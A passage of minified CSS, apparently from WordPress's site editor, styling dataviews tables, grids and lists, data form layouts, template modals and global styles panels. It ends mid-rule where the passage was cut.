.dataviews-filters__search-widget-filter-combobox__icon{align-items:center;display:flex;justify-content:center;position:absolute;right:12px;top:50%;transform:translateY(-50%);width:24px}.dataviews-filters__container-visibility-toggle{flex-shrink:0;position:relative}.dataviews-filters-toggle__count{background:var(--wp-admin-theme-color,#3858e9);border-radius:8px;box-sizing:border-box;color:#fff;font-size:11px;height:16px;line-height:16px;min-width:16px;outline:var(--wp-admin-border-width-focus) solid #fff;padding:0 4px;position:absolute;right:0;text-align:center;top:0;transform:translate(50%,-50%)}.dataviews-search{width:fit-content}.dataviews-footer{background-color:#fff;border-top:1px solid #f0f0f0;bottom:0;flex-shrink:0;left:0;padding:12px 48px;position:sticky;z-index:2}@media not (prefers-reduced-motion){.dataviews-footer{transition:padding .1s ease-out}}@container (max-width: 430px){.dataviews-footer{padding:12px 24px}}@container (max-width: 560px){.dataviews-footer{flex-direction:column!important}.dataviews-footer .dataviews-bulk-actions-footer__container{width:100%}.dataviews-footer .dataviews-bulk-actions-footer__item-count{flex-grow:1}.dataviews-footer .dataviews-pagination{justify-content:space-between;width:100%}}.dataviews-pagination__page-select{font-size:11px;font-weight:500;text-transform:uppercase}@media (min-width:600px){.dataviews-pagination__page-select .components-select-control__input{font-size:11px!important;font-weight:500}}.dataviews-action-modal{z-index:1000001}.dataviews-selection-checkbox{--checkbox-input-size:24px;flex-shrink:0;line-height:0}@media (min-width:600px){.dataviews-selection-checkbox{--checkbox-input-size:16px}}.dataviews-selection-checkbox .components-checkbox-control__input-container{margin:0}.dataviews-view-config{container-type:inline-size;font-size:13px;line-height:1.4;width:320px}.dataviews-config__popover.is-expanded .dataviews-config__popover-content-wrapper{height:100%;overflow-y:scroll}.dataviews-config__popover.is-expanded .dataviews-config__popover-content-wrapper .dataviews-view-config{width:auto}.dataviews-view-config__sort-direction .components-toggle-group-control-option-base{text-transform:uppercase}.dataviews-settings-section__title.dataviews-settings-section__title{font-size:15px;line-height:24px}.dataviews-settings-section__sidebar{grid-column:span 4}.dataviews-settings-section__content,.dataviews-settings-section__content>*{grid-column:span 8}.dataviews-settings-section__content .is-divided-in-two{display:contents}.dataviews-settings-section__content .is-divided-in-two>*{grid-column:span 4}.dataviews-settings-section:has(.dataviews-settings-section__content:empty){display:none}@container (max-width: 500px){.dataviews-settings-section.dataviews-settings-section{grid-template-columns:repeat(2,1fr)}.dataviews-settings-section.dataviews-settings-section .dataviews-settings-section__content,.dataviews-settings-section.dataviews-settings-section .dataviews-settings-section__sidebar{grid-column:span 2}}.dataviews-field-control__field{height:32px}.dataviews-field-control__actions{position:absolute;top:-9999em}.dataviews-field-control__actions.dataviews-field-control__actions{gap:4px}.dataviews-field-control__field.is-interacting .dataviews-field-control__actions,.dataviews-field-control__field:focus-within .dataviews-field-control__actions,.dataviews-field-control__field:hover .dataviews-field-control__actions{position:unset;top:unset}.dataviews-field-control__icon{display:flex;width:24px}.dataviews-field-control__label-sub-label-container{flex-grow:1}.dataviews-field-control__label{display:block}.dataviews-field-control__sub-label{color:#757575;font-size:11px;font-style:normal;margin-bottom:0;margin-top:8px}.dataviews-view-grid{container-type:inline-size;grid-template-rows:max-content;margin-bottom:auto;padding:0 48px 24px}@media not (prefers-reduced-motion){.dataviews-view-grid{transition:padding .1s ease-out}}.dataviews-view-grid .dataviews-view-grid__card{height:100%;justify-content:flex-start;position:relative}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-actions{padding:8px 0 4px}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-field{align-items:center;display:flex;min-height:24px}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-field--clickable{width:fit-content}.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{color:#1e1e1e}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__media:focus:after,.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__media:after{background-color:rgba(var(--wp-admin-theme-color--rgb),.08)}.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__media:after{box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color)}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__media:focus:after{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.dataviews-view-grid .dataviews-view-grid__media{aspect-ratio:1/1;background-color:#f0f0f0;border-radius:4px;min-height:200px;position:relative;width:100%}.dataviews-view-grid .dataviews-view-grid__media img{height:100%;object-fit:cover;width:100%}.dataviews-view-grid .dataviews-view-grid__media:after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;left:0;pointer-events:none;position:absolute;top:0;width:100%}.dataviews-view-grid .dataviews-view-grid__fields{font-size:12px;line-height:16px;position:relative}.dataviews-view-grid .dataviews-view-grid__fields:not(:empty){padding:0 0 12px}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field-value:not(:empty){line-height:20px;min-height:24px;padding-top:2px}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field{align-items:center;min-height:24px}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-name{color:#757575;width:35%}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:65%}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field:not(:has(.dataviews-view-grid__field-value:not(:empty))){display:none}.dataviews-view-grid .dataviews-view-grid__badge-fields:not(:empty){padding-bottom:12px}@container (max-width: 480px){.dataviews-view-grid.dataviews-view-grid{grid-template-columns:repeat(1,minmax(0,1fr));padding-left:24px;padding-right:24px}}@container (min-width: 480px){.dataviews-view-grid.dataviews-view-grid{grid-template-columns:repeat(2,minmax(0,1fr))}}@container (min-width: 780px){.dataviews-view-grid.dataviews-view-grid{grid-template-columns:repeat(3,minmax(0,1fr))}}@container (min-width: 1140px){.dataviews-view-grid.dataviews-view-grid{grid-template-columns:repeat(4,minmax(0,1fr))}}@container (min-width: 1520px){.dataviews-view-grid.dataviews-view-grid{grid-template-columns:repeat(5,minmax(0,1fr))}}.dataviews-view-grid__field-value:empty,.dataviews-view-grid__field:empty{display:none}.dataviews-view-grid__card .dataviews-selection-checkbox{left:8px;position:absolute;top:-9999em;z-index:1}.dataviews-view-grid__card.is-selected .dataviews-selection-checkbox,.dataviews-view-grid__card:focus-within .dataviews-selection-checkbox,.dataviews-view-grid__card:hover .dataviews-selection-checkbox{top:8px}.dataviews-view-grid__media--clickable{cursor:pointer}div.dataviews-view-list{list-style-type:none}.dataviews-view-list{margin:0 0 auto}.dataviews-view-list div[role=row]{border-top:1px solid #f0f0f0;margin:0}.dataviews-view-list div[role=row] .dataviews-view-list__item-wrapper{box-sizing:border-box;padding:16px 24px;position:relative}.dataviews-view-list div[role=row] .dataviews-view-list__item-actions{flex:0;overflow:hidden}.dataviews-view-list div[role=row] .dataviews-view-list__item-actions>div{height:24px}.dataviews-view-list div[role=row] .dataviews-view-list__item-actions .components-button{opacity:0;position:relative;z-index:1}.dataviews-view-list div[role=row]:where(.is-selected,.is-hovered,:focus-within) .dataviews-view-list__item-actions{flex-basis:min-content;overflow:unset;padding-inline-end:4px}.dataviews-view-list div[role=row]:where(.is-selected,.is-hovered,:focus-within) .dataviews-view-list__item-actions .components-button{opacity:1}.dataviews-view-list div[role=row].is-selected.is-selected,.dataviews-view-list div[role=row].is-selected.is-selected+div[role=row]{border-top:1px solid rgba(var(--wp-admin-theme-color--rgb),.12)}.dataviews-view-list div[role=row]:not(.is-selected) .dataviews-view-list__title-field{color:#1e1e1e}.dataviews-view-list div[role=row]:not(.is-selected).is-hovered,.dataviews-view-list div[role=row]:not(.is-selected):focus-within,.dataviews-view-list div[role=row]:not(.is-selected):hover{background-color:#f8f8f8;color:var(--wp-admin-theme-color)}.dataviews-view-list div[role=row]:not(.is-selected).is-hovered .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected).is-hovered .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected):focus-within .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected):focus-within .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected):hover .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected):hover .dataviews-view-list__title-field{color:var(--wp-admin-theme-color)}.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper{background-color:rgba(var(--wp-admin-theme-color--rgb),.04);color:#1e1e1e}.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__title-field,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__title-field{color:var(--wp-admin-theme-color)}.dataviews-view-list .dataviews-view-list__item{appearance:none;background:none;border:none;cursor:pointer;inset:0;padding:0;position:absolute;scroll-margin:8px 0;z-index:1}.dataviews-view-list .dataviews-view-list__item:focus-visible{outline:none}.dataviews-view-list .dataviews-view-list__item:focus-visible:before{border-radius:2px;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);content:"";inset:var(--wp-admin-border-width-focus);outline:2px solid #0000;position:absolute}.dataviews-view-list .dataviews-view-list__title-field{flex:1;line-height:24px;min-height:24px;overflow:hidden}.dataviews-view-list .dataviews-view-list__title-field:has(a,button){z-index:1}.dataviews-view-list .dataviews-view-list__media-wrapper{background-color:#f0f0f0;border-radius:4px;flex-shrink:0;height:52px;overflow:hidden;position:relative;width:52px}.dataviews-view-list .dataviews-view-list__media-wrapper img{height:100%;object-fit:cover;width:100%}.dataviews-view-list .dataviews-view-list__media-wrapper:after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;left:0;position:absolute;top:0;width:100%}.dataviews-view-list .dataviews-view-list__field-wrapper{flex-grow:1;min-height:52px}.dataviews-view-list .dataviews-view-list__fields{color:#757575;display:flex;flex-wrap:wrap;font-size:12px;gap:12px;row-gap:4px}.dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field:has(.dataviews-view-list__field-value:empty),.dataviews-view-list .dataviews-view-list__fields:empty{display:none}.dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field-value{align-items:center;display:flex;line-height:20px;min-height:24px}.dataviews-view-list+.dataviews-pagination{justify-content:space-between}.dataviews-view-table{border-collapse:collapse;border-color:inherit;color:#757575;margin-bottom:auto;position:relative;text-indent:0;width:100%}.dataviews-view-table th{color:#1e1e1e;font-size:13px;font-weight:400;text-align:left}.dataviews-view-table td,.dataviews-view-table th{padding:12px;white-space:nowrap}.dataviews-view-table td.dataviews-view-table__actions-column,.dataviews-view-table th.dataviews-view-table__actions-column{text-align:right}.dataviews-view-table td.dataviews-view-table__checkbox-column,.dataviews-view-table th.dataviews-view-table__checkbox-column{padding-right:0;width:1%}.dataviews-view-table tr{border-top:1px solid #f0f0f0}.dataviews-view-table tr .dataviews-view-table-header-button{gap:4px}.dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{padding-left:48px}.dataviews-view-table tr td:first-child .dataviews-view-table-header-button,.dataviews-view-table tr th:first-child .dataviews-view-table-header-button{margin-left:-8px}.dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{padding-right:48px}.dataviews-view-table tr:last-child{border-bottom:0}.dataviews-view-table tr.is-hovered{background-color:#f8f8f8}.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input{opacity:0}.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:checked,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:focus,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:indeterminate{opacity:1}.dataviews-view-table tr .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){opacity:0}.dataviews-view-table tr.is-hovered .components-checkbox-control__input,.dataviews-view-table tr.is-hovered .dataviews-item-actions .components-button:not(.dataviews-all-actions-button),.dataviews-view-table tr:focus-within .components-checkbox-control__input,.dataviews-view-table tr:focus-within .dataviews-item-actions .components-button:not(.dataviews-all-actions-button),.dataviews-view-table tr:hover .components-checkbox-control__input,.dataviews-view-table tr:hover .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){opacity:1}@media (hover:none){.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input,.dataviews-view-table tr .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){opacity:1}}.dataviews-view-table tr.is-selected{background-color:rgba(var(--wp-admin-theme-color--rgb),.04);color:#757575}.dataviews-view-table tr.is-selected,.dataviews-view-table tr.is-selected+tr{border-top:1px solid rgba(var(--wp-admin-theme-color--rgb),.12)}.dataviews-view-table tr.is-selected:hover{background-color:rgba(var(--wp-admin-theme-color--rgb),.08)}.dataviews-view-table thead{inset-block-start:0;position:sticky;z-index:1}.dataviews-view-table thead tr{border:0}.dataviews-view-table thead th{background-color:#fff;font-size:11px;font-weight:500;padding-bottom:8px;padding-left:12px;padding-top:8px;text-transform:uppercase}.dataviews-view-table thead th:has(.dataviews-view-table-header-button):not(:first-child){padding-left:4px}.dataviews-view-table tbody td{vertical-align:top}.dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper{align-items:center;display:flex;min-height:32px}.dataviews-view-table tbody .components-v-stack>.dataviews-view-table__cell-content-wrapper:not(:first-child){min-height:0}.dataviews-view-table .dataviews-view-table-header-button{font-size:11px;font-weight:500;padding:4px 8px;text-transform:uppercase}.dataviews-view-table .dataviews-view-table-header-button:not(:hover){color:#1e1e1e}.dataviews-view-table .dataviews-view-table-header-button span{speak:none}.dataviews-view-table .dataviews-view-table-header-button span:empty{display:none}.dataviews-view-table .dataviews-view-table-header{padding-left:4px}.dataviews-view-table .dataviews-view-table__actions-column{width:1%}.dataviews-view-table:has(tr.is-selected) .components-checkbox-control__input{opacity:1}.dataviews-view-table.has-compact-density thead th:has(.dataviews-view-table-header-button):not(:first-child){padding-left:0}.dataviews-view-table.has-compact-density td,.dataviews-view-table.has-compact-density th{padding:4px 8px}.dataviews-view-table.has-comfortable-density td,.dataviews-view-table.has-comfortable-density th{padding:16px 12px}.dataviews-view-table.has-comfortable-density td.dataviews-view-table__checkbox-column,.dataviews-view-table.has-comfortable-density th.dataviews-view-table__checkbox-column,.dataviews-view-table.has-compact-density td.dataviews-view-table__checkbox-column,.dataviews-view-table.has-compact-density th.dataviews-view-table__checkbox-column{padding-right:0}@container (max-width: 430px){.dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{padding-left:24px}.dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{padding-right:24px}}.dataviews-view-table-selection-checkbox{--checkbox-input-size:24px}@media (min-width:600px){.dataviews-view-table-selection-checkbox{--checkbox-input-size:16px}}.dataviews-column-primary__media{max-width:60px}.dataviews-controls__datetime{border:none;padding:0}.dataforms-layouts-panel__field{align-items:flex-start!important;justify-content:flex-start!important;min-height:32px;width:100%}.dataforms-layouts-panel__field-label{align-items:center;display:flex;flex-shrink:0;hyphens:auto;line-height:20px;min-height:32px;padding:6px 0;width:38%}.dataforms-layouts-panel__field-control{align-items:center;display:flex;flex-grow:1;min-height:32px}.dataforms-layouts-panel__field-control .components-button{max-width:100%;min-height:32px;text-align:left;text-wrap:balance;text-wrap:pretty;white-space:normal}.dataforms-layouts-panel__field-control .components-dropdown{max-width:100%}.dataforms-layouts-panel__field-dropdown .components-popover__content{min-width:320px;padding:16px}.dataforms-layouts-panel__dropdown-header{margin-bottom:16px}.components-popover.components-dropdown__content.dataforms-layouts-panel__field-dropdown{z-index:159990}.dataforms-layouts-regular__field{align-items:flex-start!important;justify-content:flex-start!important;min-height:32px;width:100%}.dataforms-layouts-regular__field .components-base-control__label{font-size:inherit;font-weight:400;text-transform:none}.dataforms-layouts-regular__field-label{align-items:center;display:flex;flex-shrink:0;hyphens:auto;line-height:20px;min-height:32px;padding:6px 0;width:38%}.dataforms-layouts-regular__field-control{align-items:center;display:flex;flex-grow:1;min-height:32px}.fields-create-template-part-modal{z-index:1000001}.fields-create-template-part-modal__area-radio-group{border:1px solid #949494;border-radius:2px}.fields-create-template-part-modal__area-radio-wrapper{align-items:center;display:grid;grid-template-columns:min-content 1fr min-content;padding:12px;position:relative;grid-gap:4px 8px;color:#1e1e1e}.fields-create-template-part-modal__area-radio-wrapper+.fields-create-template-part-modal__area-radio-wrapper{border-top:1px solid #949494}.fields-create-template-part-modal__area-radio-wrapper input[type=radio]{opacity:0;position:absolute}.fields-create-template-part-modal__area-radio-wrapper:has(input[type=radio]:checked){z-index:1}.fields-create-template-part-modal__area-radio-wrapper:has(input[type=radio]:not(:checked)):hover{color:var(--wp-admin-theme-color)}.fields-create-template-part-modal__area-radio-wrapper>:not(.fields-create-template-part-modal__area-radio-label){pointer-events:none}.fields-create-template-part-modal__area-radio-label:before{content:"";inset:0;position:absolute}input[type=radio]:not(:checked)~.fields-create-template-part-modal__area-radio-label:before{cursor:pointer}input[type=radio]:focus-visible~.fields-create-template-part-modal__area-radio-label:before{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:4px solid #0000}.fields-create-template-part-modal__area-radio-checkmark,.fields-create-template-part-modal__area-radio-icon{fill:currentColor}input[type=radio]:not(:checked)~.fields-create-template-part-modal__area-radio-checkmark{opacity:0}.fields-create-template-part-modal__area-radio-description{color:#757575;font-size:12px;grid-column:2/3;line-height:normal;margin:0;text-wrap:pretty}input[type=radio]:not(:checked):hover~.fields-create-template-part-modal__area-radio-description{color:inherit}.fields-controls__slug .fields-controls__slug-external-icon{margin-left:5ch}.fields-controls__slug .fields-controls__slug-input input.components-input-control__input{padding-inline-start:0!important}.fields-controls__slug .fields-controls__slug-help-link{word-break:break-word}.fields-controls__slug .fields-controls__slug-help{display:flex;flex-direction:column}.fields-controls__slug .fields-controls__slug-help .fields-controls__slug-help-slug{font-weight:600}.fields-controls__featured-image-placeholder{background:#fff linear-gradient(-45deg,#0000 48%,#ddd 0,#ddd 52%,#0000 0);border-radius:2px;box-shadow:inset 0 0 0 1px #0003;display:inline-block;padding:0}.fields-controls__featured-image-title{color:#1e1e1e;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:100%}.fields-controls__featured-image-image{align-self:center;border-radius:2px;height:100%;width:100%}.fields-controls__featured-image-container .fields-controls__featured-image-placeholder{margin:0}.fields-controls__featured-image-container span{margin-right:auto}fieldset.fields-controls__featured-image .fields-controls__featured-image-container{border:1px solid #ddd;border-radius:2px;cursor:pointer;padding:8px 12px}fieldset.fields-controls__featured-image .fields-controls__featured-image-container:hover{background-color:#f0f0f0}fieldset.fields-controls__featured-image .fields-controls__featured-image-placeholder{height:24px;width:24px}fieldset.fields-controls__featured-image span{align-self:center;text-align:start;white-space:nowrap}fieldset.fields-controls__featured-image .fields-controls__featured-image-upload-button{height:fit-content;padding:0}fieldset.fields-controls__featured-image .fields-controls__featured-image-upload-button:focus,fieldset.fields-controls__featured-image .fields-controls__featured-image-upload-button:hover{border:0;color:unset}fieldset.fields-controls__featured-image .fields-controls__featured-image-remove-button{place-self:end}.dataforms-layouts-panel__field-control .fields-controls__featured-image-image,.dataforms-layouts-panel__field-control .fields-controls__featured-image-placeholder{height:16px;width:16px}.dataviews-view-table__cell-content-wrapper .fields-controls__featured-image-image,.dataviews-view-table__cell-content-wrapper .fields-controls__featured-image-placeholder{display:block;height:32px;width:32px}.fields-controls__template-modal{z-index:1000001}.fields-controls__template-content .block-editor-block-patterns-list{column-count:2;column-gap:24px;padding-top:2px}@media (min-width:782px){.fields-controls__template-content .block-editor-block-patterns-list{column-count:3}}@media (min-width:1280px){.fields-controls__template-content .block-editor-block-patterns-list{column-count:4}}.fields-controls__template-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.fields-field__title span:first-child{display:block;flex-grow:0;overflow:hidden;text-decoration:none;text-overflow:ellipsis;white-space:nowrap}.fields-field__pattern-title span:first-child{flex:1}.edit-site-custom-template-modal__contents-wrapper{height:100%;justify-content:flex-start!important}.edit-site-custom-template-modal__contents-wrapper>*{width:100%}.edit-site-custom-template-modal__contents-wrapper__suggestions_list{margin-left:-12px;margin-right:-12px;width:calc(100% + 24px)}.edit-site-custom-template-modal__contents>.components-button{height:auto;justify-content:center}@media (min-width:782px){.edit-site-custom-template-modal{width:456px}}@media (min-width:600px){.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list{max-height:224px;overflow-y:auto}}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item{display:block;height:auto;overflow-wrap:break-word;padding:8px 12px;text-align:left;white-space:pre-wrap;width:100%}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item mark{background:none;font-weight:700}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04)}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover *,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover mark{color:var(--wp-admin-theme-color)}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus{background-color:#f0f0f0}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color) inset}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__title{display:block;overflow:hidden;text-overflow:ellipsis}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info{color:#757575;word-break:break-all}.edit-site-custom-template-modal__no-results{border:1px solid #ccc;border-radius:2px;padding:16px}.edit-site-custom-generic-template__modal .components-modal__header{border-bottom:none}.edit-site-custom-generic-template__modal .components-modal__content:before{margin-bottom:4px}@media (min-width:960px){.edit-site-add-new-template__modal{margin-top:64px;max-height:calc(100% - 128px);max-width:832px;width:calc(100% - 128px)}}.edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button svg,.edit-site-add-new-template__modal .edit-site-add-new-template__template-button svg{fill:var(--wp-admin-theme-color)}.edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button .edit-site-add-new-template__template-name{align-items:flex-start;flex-grow:1}.edit-site-add-new-template__modal .edit-site-add-new-template__template-icon{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-radius:100%;max-height:40px;max-width:40px;padding:8px}.edit-site-add-new-template__template-list__contents>.components-button,.edit-site-custom-template-modal__contents>.components-button{border:1px solid #ddd;display:flex;flex-direction:column;justify-content:center;outline:1px solid #0000;padding:32px}.edit-site-add-new-template__template-list__contents>.components-button span:first-child,.edit-site-custom-template-modal__contents>.components-button span:first-child{color:#1e1e1e}.edit-site-add-new-template__template-list__contents>.components-button span,.edit-site-custom-template-modal__contents>.components-button span{color:#757575}.edit-site-add-new-template__template-list__contents>.components-button:hover,.edit-site-custom-template-modal__contents>.components-button:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:#0000;color:var(--wp-admin-theme-color-darker-10)}.edit-site-add-new-template__template-list__contents>.components-button:hover span,.edit-site-custom-template-modal__contents>.components-button:hover span{color:var(--wp-admin-theme-color)}.edit-site-add-new-template__template-list__contents>.components-button:focus,.edit-site-custom-template-modal__contents>.components-button:focus{border-color:#0000;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:3px solid #0000}.edit-site-add-new-template__template-list__contents>.components-button:focus span:first-child,.edit-site-custom-template-modal__contents>.components-button:focus span:first-child{color:var(--wp-admin-theme-color)}.edit-site-add-new-template__template-list__contents .edit-site-add-new-template__custom-template-button,.edit-site-add-new-template__template-list__contents .edit-site-add-new-template__template-list__prompt,.edit-site-custom-template-modal__contents .edit-site-add-new-template__custom-template-button,.edit-site-custom-template-modal__contents .edit-site-add-new-template__template-list__prompt{grid-column:1/-1}.edit-site-add-new-template__template-list__contents>.components-button{align-items:flex-start;height:100%;text-align:start}.edit-site-visual-editor__editor-canvas.is-focused{outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color);outline-offset:calc(var(--wp-admin-border-width-focus)*-2)}.edit-site-canvas-loader{align-items:center;display:flex;height:100%;justify-content:center;left:0;opacity:0;position:absolute;top:0;width:100%}@media not (prefers-reduced-motion){.edit-site-canvas-loader{animation:edit-site-canvas-loader__fade-in-animation .5s ease .2s;animation-fill-mode:forwards}}.edit-site-canvas-loader>div{width:160px}@keyframes edit-site-canvas-loader__fade-in-animation{0%{opacity:0}to{opacity:1}}.edit-site-global-styles-preview{align-items:center;cursor:pointer;display:flex;justify-content:center;line-height:1}.edit-site-global-styles-preview__wrapper{display:block;max-width:100%;width:100%}.edit-site-typography-preview{align-items:center;background:#f0f0f0;border-radius:2px;display:flex;justify-content:center;margin-bottom:16px;min-height:100px;overflow:hidden}.edit-site-font-size__item{line-break:anywhere;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.edit-site-font-size__item-value{color:#757575}.edit-site-global-styles-screen{margin:12px 16px 16px}.edit-site-global-styles-screen-typography__indicator{align-items:center;border-radius:1px;display:flex!important;font-size:14px;height:24px;justify-content:center;width:24px}.edit-site-global-styles-screen-typography__font-variants-count{color:#757575}.edit-site-global-styles-font-families__manage-fonts{justify-content:center}.edit-site-global-styles-screen .color-block-support-panel{border-top:none;padding-left:0;padding-right:0;padding-top:0;row-gap:12px}.edit-site-global-styles-header__description{padding:0 16px}.edit-site-block-types-search{margin-bottom:8px;padding:0 16px}.edit-site-global-styles-header{margin-bottom:0!important}.edit-site-global-styles-subtitle{font-size:11px!important;font-weight:500!important;margin-bottom:0!important;text-transform:uppercase}.edit-site-global-styles-section-title{color:#2f2f2f;font-weight:600;line-height:1.2;margin:0;padding:16px 16px 0}.edit-site-global-styles-icon-with-current-color{fill:currentColor}.edit-site-global-styles__color-indicator-wrapper{flex-shrink:0;height:24px}.edit-site-global-styles__shadows-panel__options-container,.edit-site-global-styles__shadows-panel__title{height:24px}.edit-site-global-styles__block-preview-panel{border:1px solid #e0e0e0;border-radius:4px;overflow:hidden;position:relative;width:100%}.edit-site-global-styles__shadow-preview-panel{background-image:repeating-linear-gradient(45deg,#f5f5f5 25%,#0000 0,#0000 75%,#f5f5f5 0,#f5f5f5),repeating-linear-gradient(45deg,#f5f5f5 25%,#0000 0,#0000 75%,#f5f5f5 0,#f5f5f5);background-position:0 0,8px 8px;background-size:16px 16px;border:1px solid #e0e0e0;border-radius:4px;height:144px;overflow:auto}.edit-site-global-styles__shadow-preview-panel .edit-site-global-styles__shadow-preview-block{background-color:#fff;border:1px solid #e0e0e0;border-radius:2px;height:60px;width:60%}.edit-site-global-styles__shadow-editor__dropdown-content{width:280px}.edit-site-global-styles__shadow-editor-panel{margin-bottom:4px}.edit-site-global-styles__shadow-editor__dropdown{position:relative;width:100%}.edit-site-global-styles__shadow-editor__dropdown-toggle{border-radius:inherit;height:auto;padding-bottom:8px;padding-top:8px;text-align:left;width:100%}.edit-site-global-styles__shadow-editor__dropdown-toggle.is-open{background:#f0f0f0;color:var(--wp-admin-theme-color)}.edit-site-global-styles__shadow-editor__remove-button{opacity:0;position:absolute;right:8px;top:8px}.edit-site-global-styles__shadow-editor__remove-button.edit-site-global-styles__shadow-editor__remove-button{border:none}.edit-site-global-styles__shadow-editor__dropdown-toggle:hover+.edit-site-global-styles__shadow-editor__remove-button,.edit-site-global-styles__shadow-editor__remove-button:focus,.edit-site-global-styles__shadow-editor__remove-button:hover{opacity:1}@media (hover:none){.edit-site-global-styles__shadow-editor__remove-button{opacity:1}}.edit-site-global-styles-screen-css{display:flex;flex:1 1 auto;flex-direction:column;margin:16px}.edit-site-global-styles-screen-css .components-v-stack{flex:1 1 auto}.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input,.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field{display:flex;flex:1 1 auto;flex-direction:column}.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field .components-textarea-control__input{direction:ltr;flex:1 1 auto}.edit-site-global-styles-screen-css-help-link{display:inline-block;margin-top:8px}.edit-site-global-styles-screen-variations{border-top:1px solid #ddd;margin-top:16px}.edit-site-global-styles-screen-variations>*{margin:24px 16px}.edit-site-global-styles-sidebar__navigator-provider{height:100%}.edit-site-global-styles-sidebar__navigator-screen{display:flex;flex-direction:column;height:100%}.edit-site-global-styles-sidebar__navigator-screen .single-column{grid-column:span 1}.edit-site-global-styles-screen-root.edit-site-global-styles-screen-root,.edit-site-global-styles-screen-style-variations.edit-site-global-styles-screen-style-variations{background:unset;color:inherit}.edit-site-global-styles-sidebar__panel .block-editor-block-icon svg{fill:currentColor}.edit-site-global-styles-screen-root__active-style-tile.edit-site-global-styles-screen-root__active-style-tile,.edit-site-global-styles-screen-root__active-style-tile.edit-site-global-styles-screen-root__active-style-tile .edit-site-global-styles-screen-root__active-style-tile-preview{border-radius:2px}.edit-site-global-styles-screen-revisions__revisions-list{flex-grow:1;list-style:none;margin:0 16px 16px}.edit-site-global-styles-screen-revisions__revisions-list 